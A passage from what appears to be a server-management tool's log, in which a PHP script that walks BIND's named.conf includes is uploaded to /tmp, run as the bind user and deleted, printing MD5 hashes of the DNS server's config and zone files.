function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 14:44:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp129191; rm /tmp/pkp129191'

2026-04-30 14:44:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 14:44:32: Establishing a connection
2026-04-30 14:44:32: 

PUT: /tmp/pkp420842

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 14:44:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp420842; rm /tmp/pkp420842'

2026-04-30 14:44:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
